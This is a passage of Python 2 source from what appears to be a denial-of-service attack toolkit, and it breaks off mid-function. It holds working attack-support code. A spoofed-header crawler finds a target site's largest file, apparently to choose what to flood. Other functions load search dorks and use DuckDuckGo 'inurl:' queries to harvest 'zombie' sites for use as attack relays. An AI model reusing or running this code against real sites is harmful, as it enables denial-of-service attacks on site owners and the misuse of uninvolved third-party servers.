def create_web_interface(self):
# launch webserver+gui
from webgui import ClientThread
import webbrowser
host = '0.0.0.0'
port = 9999
try:
webbrowser.open('http://127.0.0.1:9999', new=1)
tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
tcpsock.bind((host,port))
while True:
tcpsock.listen(4)
#print "Listening for incoming connections on http://%s:%d" % (host,port)
(clientsock, (ip, port)) = tcpsock.accept()
newthread = ClientThread(ip, port, clientsock)
newthread.start()
except (KeyboardInterrupt, SystemExit):
sys.exit()
# def crawlering(self):
# # crawl target's links to discover web structure
# options = self.options
# myurl = options.crawl
# for i in re.findall('''href=["'](.[^"']+)["']''', urllib.urlopen(myurl).read(), re.I):
# print i
def inspecting(self):
# inspect HTML target's components sizes (ex: http://target.com/foo)
# [images, .mov, .webm, .avi, .swf, .mpg, .mpeg, .mp3, .ogg, .ogv,
# .wmv, .css, .js, .xml, .php, .html, .jsp, .asp, .txt]
options = self.options
biggest_files = {}
try:
target = str(options.inspect)
if target.endswith(""):
target.replace("", "/")
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
try:
if target.startswith('https'): # replacing https request method (unsecure)
print "[WARNING!] - Inspection doesn't support https connections"
if not self.options.forceyes:
inspection_reply = raw_input("\nWanna follow using http (non encrypted) (Y/n)")
else:
inspection_reply = "Y"
if inspection_reply == "Y" or inspection_reply == "y":
print '\n' + '='*22 + '\n'
target = target.replace('https', 'http')
else:
print "\nBye!\n"
return
if target.startswith("http://"):
req = urllib2.Request(target, None, headers)
target_reply = urllib2.urlopen(req).read()
else:
print "[Error] - Target url not valid!\n"
return #sys.exit(2)
except:
print('[Error] - Unable to connect to target\n')
return #sys.exit(2)
except:
print '\n[Error] - Cannot found any object', "\n"
return #sys.exit(2)
#print target_reply
try: # search for image files
regex_img = []
regex_img1 = "<img src='(.+?)'" # search on target's results using regex with simple quotation
regex_img.append(regex_img1)
regex_img2 = '<img src="(.+?)"' # search on target's results using regex with double quotation
regex_img.append(regex_img2)
#regex_img3 = '<img src=(.+?)>' # search on target's results using regex without quotations
#regex_img.append(regex_img3)
for regimg in regex_img:
pattern_img = re.compile(regimg)
img_links = re.findall(pattern_img, target_reply)
imgs = {}
for img in img_links:
print('+Image found: ' + img)
try:
if img.startswith('http'):
img_file = urllib.urlopen(img)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
img_file = urllib.urlopen(target_url + img)
size = img_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(img_file.read())
except:
print('[Error] - Unable to retrieve info from Image)')
size = 0
imgs[img] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
#print imgs
biggest_image = max(imgs.keys(), key=lambda x: imgs[x]) # search/extract biggest image value from dict
biggest_files[biggest_image] = imgs[biggest_image] # add biggest image to list
except: # if not any image found, go for next
pass
try: # search for .mov files
regex_mov = []
regex_mov1 = "<a href='(.+?.mov)'" # search on target's results using regex with simple quotation
regex_mov.append(regex_mov1)
regex_mov2 = '<a href="(.+?.mov)"' # search on target's results using regex with double quotation
regex_mov.append(regex_mov2)
#regex_mov3 = '<a href=(.+?.mov)' # search on target's results using regex without quotations
#regex_mov.append(regex_mov3)
for regmov in regex_mov:
pattern_mov = re.compile(regmov)
mov_links = re.findall(pattern_mov, target_reply)
movs = {}
for mov in mov_links:
print('+Video (.mov) found: ' + mov)
try:
if mov.startswith('http'):
mov_file = urllib.urlopen(mov)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
mov_file = urllib.urlopen(target_url + mov)
size = mov_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(mov_file.read())
except:
print('[Error] - Unable to retrieve info from Video)')
size = 0
movs[mov] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
#print movs
biggest_mov = max(movs.keys(), key=lambda x: movs[x]) # search/extract biggest video (.mov) value from dict
biggest_files[biggest_mov] = movs[biggest_mov] # add biggest video (.mov) to list
except: # if not any .mov found, go for next
pass
try: # search for .webm files
regex_webm = []
regex_webm1 = "<a href='(.+?.webm)'" # search on target's results using regex with simple quotation
regex_webm.append(regex_webm1)
regex_webm2 = '<a href="(.+?.webm)"' # search on target's results using regex with double quotation
regex_webm.append(regex_webm2)
#regex_webm3 = '<a href=(.+?.webm)' # search on target's results using regex without quotations
#regex_webm.append(regex_webm3)
for regwebm in regex_webm:
pattern_webm = re.compile(regwebm)
webm_links = re.findall(pattern_webm, target_reply)
webms = {}
for webm in webm_links:
print('+Video (.webm) found: ' + webm)
try:
if webm.startswith('http'):
webm_file = urllib.urlopen(webm)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
webm_file = urllib.urlopen(target_url + webm)
size = webm_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(webm_file.read())
except:
print('[Error] - Unable to retrieve info from Video)')
size = 0
webms[webm] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
#print webms
biggest_webm = max(webms.keys(), key=lambda x: webms[x]) # search/extract biggest video (.webm) value from dict
biggest_files[biggest_webm] = webms[biggest_webm] # add biggest video (.webm) to list
except: # if not any .webm found, go for next
pass
try: # search for .avi files
regex_avi = []
regex_avi1 = "<a href='(.+?.avi)'" # search on target's results using regex with simple quotation
regex_avi.append(regex_avi1)
regex_avi2 = '<a href="(.+?.avi)"' # search on target's results using regex with double quotation
regex_avi.append(regex_avi2)
#regex_avi3 = '<a href=(.+?.avi)' # search on target's results using regex without quotations
#regex_avi.append(regex_avi3)
for regavi in regex_avi:
pattern_avi = re.compile(regavi)
avi_links = re.findall(pattern_avi, target_reply)
avis = {}
for avi in avi_links:
print('+Video (.avi) found: ' + avi)
try:
if avi.startswith('http'):
avi_file = urllib.urlopen(avi)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
avi_file = urllib.urlopen(target_url + avi)
size = avi_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(avi_file.read())
except:
print('[Error] - Unable to retrieve info from Video)')
size = 0
avis[avi] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
#print avis
biggest_avi = max(avis.keys(), key=lambda x: avis[x]) # search/extract biggest video (.avi) value from dict
biggest_files[biggest_avi] = avis[biggest_avi] # add biggest video (.avi) to list
except: # if not any .avi found, go for next
pass
try: # search for .swf files
regex_swf = []
regex_swf1 = "<value='(.+?.swf)'" # search on target's results using regex with simple quotation
regex_swf.append(regex_swf1)
regex_swf2 = '<value="(.+?.swf)"' # search on target's results using regex with double quotation
regex_swf.append(regex_swf2)
#regex_swf3 = '<value=(.+?.swf)' # search on target's results using regex without quotations
#regex_swf.append(regex_swf3)
for regswf in regex_swf:
pattern_swf = re.compile(regswf)
swf_links = re.findall(pattern_swf, target_reply)
swfs = {}
for swf in swf_links:
print('+Flash (.swf) found: ' + swf)
try:
if swf.startswith('http'):
swf_file = urllib.urlopen(swf)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
swf_file = urllib.urlopen(target_url + swf)
size = swf_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(swf_file.read())
except:
print('[Error] - Unable to retrieve info from Flash)')
size = 0
swfs[swf] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
#print swfs
biggest_swf = max(swfs.keys(), key=lambda x: swfs[x]) # search/extract biggest flash (.swf) value from dict
biggest_files[biggest_swf] = swfs[biggest_swf] # add biggest flash (.swf) to list
except: # if not any .swf found, go for next
pass
try: # search for .mpg files
regex_mpg = []
regex_mpg1 = "<src='(.+?.mpg)'" # search on target's results using regex with simple quotation
regex_mpg.append(regex_mpg1)
regex_mpg2 = '<src="(.+?.mpg)"' # search on target's results using regex with double quotation
regex_mpg.append(regex_mpg2)
#regex_mpg3 = '<src=(.+?.mpg)' # search on target's results using regex without quotations
#regex_mpg.append(regex_mpg3)
for regmpg in regex_mpg:
pattern_mpg = re.compile(regmpg)
mpg_links = re.findall(pattern_mpg, target_reply)
mpgs = {}
for mpg in mpg_links:
print('+Video (.mpg) found: ' + mpg)
try:
if mpg.startswith('http'):
mpg_file = urllib.urlopen(mpg)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
mpg_file = urllib.urlopen(target_url + mpg)
size = mpg_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(mpg_file.read())
except:
print('[Error] - Unable to retrieve info from Video)')
size = 0
mpgs[mpg] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
#print mpgs
biggest_mpg = max(mpgs.keys(), key=lambda x: mpgs[x]) # search/extract biggest video (.mpg) value from dict
biggest_files[biggest_mpg] = mpgs[biggest_mpg] # add biggest video (.mpg) to list
except: # if not any .mpg found, go for next
pass
try: # search for .mpeg files
regex_mpeg = []
regex_mpeg1 = "<src='(.+?.mpeg)'" # search on target's results using regex with simple quotation
regex_mpeg.append(regex_mpeg1)
regex_mpeg2 = '<src="(.+?.mpeg)"' # search on target's results using regex with double quotation
regex_mpeg.append(regex_mpeg2)
#regex_mpeg3 = '<src=(.+?.mpeg)' # search on target's results using regex without quotations
#regex_mpeg.append(regex_mpeg3)
for regmpeg in regex_mpeg:
pattern_mpeg = re.compile(regmpeg)
mpeg_links = re.findall(pattern_mpeg, target_reply)
mpegs = {}
for mpeg in mpeg_links:
print('+Video (.mpeg) found: ' + mpeg)
try:
if mpeg.startswith('http'):
mpeg_file = urllib.urlopen(mpeg)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
mpeg_file = urllib.urlopen(target_url + mpeg)
size = mpeg_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(mpeg_file.read())
except:
print('[Error] - Unable to retrieve info from Video)')
size = 0
mpegs[mpeg] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
#print mpegs
biggest_mpeg = max(mpegs.keys(), key=lambda x: mpegs[x]) # search/extract biggest video (.mpeg) value from dict
biggest_files[biggest_mpeg] = mpegs[biggest_mpeg] # add biggest video (.mpeg) to list
except: # if not any .mpeg found, go for next
pass
try: # search for .mp3 files
regex_mp3 = []
regex_mp31 = "<src='(.+?.mp3)'" # search on target's results using regex with simple quotation
regex_mp3.append(regex_mp31)
regex_mp32 = '<src="(.+?.mp3)"' # search on target's results using regex with double quotation
regex_mp3.append(regex_mp32)
#regex_mp33 = '<src=(.+?.mp3)' # search on target's results using regex without quotations
#regex_mp3.append(regex_mp33)
for regmp3 in regex_mp3:
pattern_mp3 = re.compile(regmp3)
mp3_links = re.findall(pattern_mp3, target_reply)
mp3s = {}
for mp3 in mp3_links:
print('+Audio (.mp3) found: ' + mp3)
try:
if mp3.startswith('http'):
mp3_file = urllib.urlopen(mp3)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
mp3_file = urllib.urlopen(target_url + mp3)
size = mp3_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(mp3_file.read())
except:
print('[Error] - Unable to retrieve info from Audio)')
size = 0
mp3s[mp3] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
#print mp3s
biggest_mp3 = max(mp3s.keys(), key=lambda x: mp3s[x]) # search/extract biggest audio (.mp3) value from dict
biggest_files[biggest_mp3] = mp3s[biggest_mp3] # add biggest audio (.mp3) to list
except: # if not any .mp3 found, go for next
pass
try: # search for .mp4 files
regex_mp4 = []
regex_mp41 = "<src='(.+?.mp4)'" # search on target's results using regex with simple quotation
regex_mp4.append(regex_mp41)
regex_mp42 = '<src="(.+?.mp4)"' # search on target's results using regex with double quotation
regex_mp4.append(regex_mp42)
#regex_mp43 = '<src=(.+?.mp4)' # search on target's results using regex without quotations
#regex_mp4.append(regex_mp43)
for regmp4 in regex_mp4:
pattern_mp4 = re.compile(regmp4)
mp4_links = re.findall(pattern_mp4, target_reply)
mp4s = {}
for mp4 in mp4_links:
print('+Video (.mp4) found: ' + mp4)
try:
if mp4.startswith('http'):
mp4_file = urllib.urlopen(mp4)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
mp4_file = urllib.urlopen(target_url + mp4)
size = mp4_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(mp4_file.read())
except:
print('[Error] - Unable to retrieve info from Video)')
size = 0
mp4s[mp4] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
#print mp4s
biggest_mp4 = max(mp4s.keys(), key=lambda x: mp4s[x]) # search/extract biggest video (.mp4) value from dict
biggest_files[biggest_mp4] = mp4s[biggest_mp4] # add biggest video (.mp4) to list
except: # if not any .mp4 found, go for next
pass
try: # search for .ogg files
regex_ogg = []
regex_ogg1 = "<src='(.+?.ogg)'" # search on target's results using regex with simple quotation
regex_ogg.append(regex_ogg1)
regex_ogg2 = '<src="(.+?.ogg)"' # search on target's results using regex with double quotation
regex_ogg.append(regex_ogg2)
#regex_ogg3 = '<src=(.+?.ogg)' # search on target's results using regex without quotations
#regex_ogg.append(regex_ogg3)
for regogg in regex_ogg:
pattern_ogg = re.compile(regogg)
ogg_links = re.findall(pattern_ogg, target_reply)
oggs = {}
for ogg in ogg_links:
print('+Video (.ogg) found: ' + ogg)
try:
if ogg.startswith('http'):
ogg_file = urllib.urlopen(ogg)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
ogg_file = urllib.urlopen(target_url + ogg)
size = ogg_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(ogg_file.read())
except:
print('[Error] - Unable to retrieve info from Video)')
size = 0
oggs[ogg] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
#print oggs
biggest_ogg = max(oggs.keys(), key=lambda x: oggs[x]) # search/extract biggest video (.ogg) value from dict
biggest_files[biggest_ogg] = oggs[biggest_ogg] # add biggest video (.ogg) to list
except: # if not any .ogg found, go for next
pass
try: # search for .ogv files
regex_ogv = []
regex_ogv1 = "<src='(.+?.ogv)'" # search on target's results using regex with simple quotation
regex_ogv.append(regex_ogv1)
regex_ogv2 = '<src="(.+?.ogv)"' # search on target's results using regex with double quotation
regex_ogv.append(regex_ogv2)
#regex_ogv3 = '<src=(.+?.ogv)' # search on target's results using regex without quotations
#regex_ogv.append(regex_ogv3)
for regogv in regex_ogv:
pattern_ogv = re.compile(regogv)
ogv_links = re.findall(pattern_ogv, target_reply)
ogvs = {}
for ogv in ogv_links:
print('+Video (.ogv) found: ' + ogv)
try:
if ogv.startswith('http'):
ogv_file = urllib.urlopen(ogv)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
ogv_file = urllib.urlopen(target_url + ogv)
size = ogv_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(ogv_file.read())
except:
print('[Error] - Unable to retrieve info from Video)')
size = 0
ogvs[ogv] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
#print ogvs
biggest_ogv = max(ogvs.keys(), key=lambda x: ogvs[x]) # search/extract biggest video (.ogv) value from dict
biggest_files[biggest_ogv] = ogvs[biggest_ogv] # add biggest video (.ogv) to list
except: # if not any .ogv found, go for next
pass
try: # search for .wmv files
regex_wmv = []
regex_wmv1 = "<src='(.+?.wmv)'" # search on target's results using regex with simple quotation
regex_wmv.append(regex_wmv1)
regex_wmv2 = '<src="(.+?.wmv)"' # search on target's results using regex with double quotation
regex_wmv.append(regex_wmv2)
#regex_wmv3 = '<src=(.+?.wmv)' # search on target's results using regex without quotations
#regex_wmv.append(regex_wmv3)
for regwmv in regex_wmv:
pattern_wmv = re.compile(regwmv)
wmv_links = re.findall(pattern_wmv, target_reply)
wmvs = {}
for wmv in wmv_links:
print('+Video (.wmv) found: ' + wmv)
try:
if wmv.startswith('http'):
wmv_file = urllib.urlopen(wmv)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
wmv_file = urllib.urlopen(target_url + wmv)
size = wmv_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(wmv_file.read())
except:
print('[Error] - Unable to retrieve info from Video)')
size = 0
wmvs[wmv] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
#print wmvs
biggest_wmv = max(wmvs.keys(), key=lambda x: wmvs[x]) # search/extract biggest video (.wmv) value from dict
biggest_files[biggest_wmv] = wmvs[biggest_wmv] # add biggest video (.wmv) to list
except: # if not any .wmv found, go for next
pass
try: # search for .css files
regex_css = []
regex_css1 = "href='(.+?.css[^']*)'" # search on target's results using regex with simple quotation
regex_css.append(regex_css1)
regex_css2 = 'href="(.+?.css[^"]*)"' # search on target's results using regex with double quotation
regex_css.append(regex_css2)
#regex_css3 = "href=(.+?.css[^']*)" # search on target's results using regex without quotations
#regex_css.append(regex_css3)
for regcss in regex_css:
pattern_css = re.compile(regcss)
css_links = re.findall(pattern_css, target_reply)
csss = {}
for css in css_links:
print('+Style (.css) found: ' + css)
try:
if css.startswith('http'):
css_file = urllib.urlopen(css)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
css_file = urllib.urlopen(target_url + css)
size = css_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(css_file.read())
except:
print('[Error] - Unable to retrieve info from Style)')
size = 0
csss[css] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
#print csss
biggest_css = max(csss.keys(), key=lambda x: csss[x]) # search/extract biggest style (.css) value from dict
biggest_files[biggest_css] = csss[biggest_css] # add biggest style (.css) to list
except: # if not any .css found, go for next
pass
try: # search for .js files
regex_js = []
regex_js1 = "src='(.+?.js[^']*)'" # search on target's results using regex with simple quotation
regex_js.append(regex_js1)
regex_js2 = 'src="(.+?.js[^"]*)"' # search on target's results using regex with double quotation
regex_js.append(regex_js2)
#regex_js3 = "src=(.+?.js[^']*)" # search on target's results using regex without quotations
#regex_js.append(regex_js3)
for regjs in regex_js:
pattern_js = re.compile(regjs)
js_links = re.findall(pattern_js, target_reply)
jss = {}
for js in js_links:
print('+Script (.js) found: ' + js)
try:
if js.startswith('http'):
js_file = urllib.urlopen(js)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
js_file = urllib.urlopen(target_url + js)
size = js_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(js_file.read())
except:
print('[Error] - Unable to retrieve info from Script)')
size = 0
jss[js] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
#print jss
biggest_js = max(jss.keys(), key=lambda x: jss[x]) # search/extract biggest script (.js) value from dict
biggest_files[biggest_js] = jss[biggest_js] # add biggest script (.js) to list
except: # if not any .js found, go for next
pass
try: # search for .xml files
regex_xml = []
regex_xml1 = "href='(.+?.xml)'" # search on target's results using regex with simple quotation
regex_xml.append(regex_xml1)
regex_xml2 = 'href="(.+?.xml)"' # search on target's results using regex with double quotation
regex_xml.append(regex_xml2)
#regex_xml3 = 'href=(.+?.xml)' # search on target's results using regex without quotations
#regex_xml.append(regex_xml3)
for regxml in regex_xml:
pattern_xml = re.compile(regxml)
xml_links = re.findall(pattern_xml, target_reply)
xmls = {}
for xml in xml_links:
print('+Script (.xml) found: ' + xml)
try:
if xml.startswith('http'):
xml_file = urllib.urlopen(xml)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
xml_file = urllib.urlopen(target_url + xml)
size = xml_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(xml_file.read())
except:
print('[Error] - Unable to retrieve info from Script)')
size = 0
xmls[xml] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
#print xmls
biggest_xml = max(xmls.keys(), key=lambda x: xmls[x]) # search/extract biggest script (.xml) value from dict
biggest_files[biggest_xml] = xmls[biggest_xml] # add biggest script (.xml) to list
except: # if not any .xml found, go for next
pass
try: # search for .php files
regex_php = []
regex_php1 = "href='(.+?.php)'" # search on target's results using regex with simple quotation
regex_php.append(regex_php1)
regex_php2 = 'href="(.+?.php)"' # search on target's results using regex with double quotation
regex_php.append(regex_php2)
#regex_php3 = 'href=(.+?.php)' # search on target's results using regex without quotations
#regex_php.append(regex_php3)
for regphp in regex_php:
pattern_php = re.compile(regphp)
php_links = re.findall(pattern_php, target_reply)
phps = {}
for php in php_links:
print('+Webpage (.php) found: ' + php)
try:
if php.startswith('http'):
php_file = urllib.urlopen(php)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
php_file = urllib.urlopen(target_url + php)
size = php_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(php_file.read())
except:
print('[Error] - Unable to retrieve info from Webpage)')
size = 0
phps[php] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
#print phps
biggest_php = max(phps.keys(), key=lambda x: phps[x]) # search/extract biggest file (.php) value from dict
biggest_files[biggest_php] = phps[biggest_php] # add biggest file (.php) to list
except: # if not any .php found, go for next
pass
try: # search for .html files
regex_html = []
regex_html1 = "href='(.+?.html)'" # search on target's results using regex with simple quotation
regex_html.append(regex_html1)
regex_html2 = 'href="(.+?.html)"' # search on target's results using regex with double quotation
regex_html.append(regex_html2)
#regex_html3 = 'href=(.+?.html)' # search on target's results using regex without quotations
#regex_html.append(regex_html3)
for reghtml in regex_html:
pattern_html = re.compile(reghtml)
html_links = re.findall(pattern_html, target_reply)
htmls = {}
for html in html_links:
print('+Webpage (.html) found: ' + html)
try:
if html.startswith('http'):
html_file = urllib.urlopen(html)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
html_file = urllib.urlopen(target_url + html)
size = html_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(html_file.read())
except:
print('[Error] - Unable to retrieve info from Webpage)')
size = 0
htmls[html] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
#print htmls
biggest_html = max(htmls.keys(), key=lambda x: htmls[x]) # search/extract biggest file (.html) value from dict
biggest_files[biggest_html] = htmls[biggest_html] # add biggest file (.html) to list
except: # if not any .html found, go for next
pass
try: # search for .jsp files
regex_jsp = []
regex_jsp1 = "href='(.+?.jsp)'" # search on target's results using regex with simple quotation
regex_jsp.append(regex_jsp1)
regex_jsp2 = 'href="(.+?.jsp)"' # search on target's results using regex with double quotation
regex_jsp.append(regex_jsp2)
#regex_jsp3 = 'href=(.+?.jsp)' # search on target's results using regex without quotations
#regex_jsp.append(regex_jsp3)
for regjsp in regex_jsp:
pattern_jsp = re.compile(regjsp)
jsp_links = re.findall(pattern_jsp, target_reply)
jsps = {}
for jsp in jsp_links:
print('+Webpage (.jsp) found: ' + jsp)
try:
if jsp.startswith('http'):
jsp_file = urllib.urlopen(jsp)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
jsp_file = urllib.urlopen(target_url + jsp)
size = jsp_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(jsp_file.read())
except:
print('[Error] - Unable to retrieve info from Webpage)')
size = 0
jsps[jsp] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
#print jsps
biggest_jsp = max(jsps.keys(), key=lambda x: jsps[x]) # search/extract biggest file (.jsp) value from dict
biggest_files[biggest_jsp] = jsps[biggest_jsp] # add biggest file (.jsp) to list
except: # if not any .jsp found, go for next
pass
try: # search for .asp files
regex_asp = []
regex_asp1 = "href='(.+?.asp)'" # search on target's results using regex with simple quotation
regex_asp.append(regex_asp1)
regex_asp2 = 'href="(.+?.asp)"' # search on target's results using regex with double quotation
regex_asp.append(regex_asp2)
#regex_asp3 = 'href=(.+?.asp)' # search on target's results using regex without quotations
#regex_asp.append(regex_asp3)
for regasp in regex_asp:
pattern_asp = re.compile(regasp)
asp_links = re.findall(pattern_asp, target_reply)
asps = {}
for asp in asp_links:
print('+Webpage (.asp) found: ' + asp)
try:
if asp.startswith('http'):
asp_file = urllib.urlopen(asp)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
asp_file = urllib.urlopen(target_url + asp)
size = asp_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(asp_file.read())
except:
print('[Error] - Unable to retrieve info from Webpage)')
size = 0
asps[asp] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
#print asps
biggest_asp = max(asps.keys(), key=lambda x: asps[x]) # search/extract biggest file (.asp) value from dict
biggest_files[biggest_asp] = asps[biggest_asp] # add biggest file (.asp) to list
except: # if not any .asp found, go for next
pass
try: # search for .txt files
regex_txt = []
regex_txt1 = "href='(.+?.txt)'" # search on target's results using regex with simple quotation
regex_txt.append(regex_txt1)
regex_txt2 = 'href="(.+?.txt)"' # search on target's results using regex with double quotation
regex_txt.append(regex_txt2)
#regex_txt3 = 'href=(.+?.txt)' # search on target's results using regex without quotations
#regex_txt.append(regex_txt3)
for regtxt in regex_txt:
pattern_txt = re.compile(regtxt)
txt_links = re.findall(pattern_txt, target_reply)
txts = {}
for txt in txt_links:
print('+File (.txt) found: ' + txt)
try:
if txt.startswith('http'):
txt_file = urllib.urlopen(txt)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
txt_file = urllib.urlopen(target_url + txt)
size = txt_file.headers.get("content-length")
if size is None: # grab data with len if content-lenght is not available on headers
size = len(txt_file.read())
except:
print('[Error] - Unable to retrieve info from Webpage)')
size = 0
txts[txt] = int(size)
print('(Size: ' + str(size) + ' Bytes)')
print '-'*12
biggest_txt = max(txts.keys(), key=lambda x: txts[x]) # search/extract biggest file (.txt) value from dict
biggest_files[biggest_txt] = txts[biggest_txt] # add biggest file (.txt) to list
except: # if not any .txt found, go for next
pass
print '='*80
if(biggest_files=={}):
print "\nNo link found on target\n\n"
print '='*80 + '\n'
return #sys.exit(2)
biggest_file_on_target = max(biggest_files.keys(), key=lambda x: biggest_files[x]) # search/extract biggest file value from dict
if biggest_file_on_target.startswith('http'):
print ('=Biggest File: ' + biggest_file_on_target)
else:
target_host = urlparse(options.inspect)
target_url = target_host.scheme + "://" + target_host.netloc + target_host.path
if not target_url.endswith('/'): # add "/" to end of target
target_url = target_url + "/"
print ('=Biggest File: ' + target_url + biggest_file_on_target)
print '='*80 + '\n'
def extract_dorks(self):
# extract dorks from file (ex: 'dorks.txt')
try:
f = open('dorks.txt')
dorks = f.readlines()
dorks = [ dork.replace('\n','') for dork in dorks ]
f.close()
if not dorks:
print "\n[Error] - Imposible to retrieve 'dorks' from file.\n"
return
else:
return dorks
except:
if os.path.exists('dorks.txt') == True:
print '[Error] - Cannot open:', 'dorks.txt', "\n"
return #sys.exit(2)
else:
print '[Error] - Cannot found:', 'dorks.txt', "\n"
return #sys.exit(2)
def search_zombies(self, dork):
# crawlering on search engine results to extract zombies
options = self.options
zombies = []
if not options.engine or options.engine == 'duck': # using duck by default [07/10/2015: OK!]
url = 'https://duckduckgo.com/html/?'
if options.search: # search from query
q = 'inurl:"' + str(options.search) + '"' # set query to search literally on results
if options.dorks: # search from a dork
q = 'inurl:"' + str(dork) + '"' # set query from a dork to search literally on results
start = 0 # set index number of first entry
query_string = { 'q':q, 's':start }
data = urllib.urlencode(query_string)
url = url + data
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
if options.verbose:
print("Query used: " + url + "\n")
try:
req = urllib2.Request(url, None, headers)
req_reply = urllib2.urlopen(req).read()
except:
print('[Error] - Unable to connect to duck\n')
if options.allengines:
return
if not options.dorks:
if not self.options.forceyes:
update_reply = raw_input("Wanna try a different search engine (Y/n)")
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
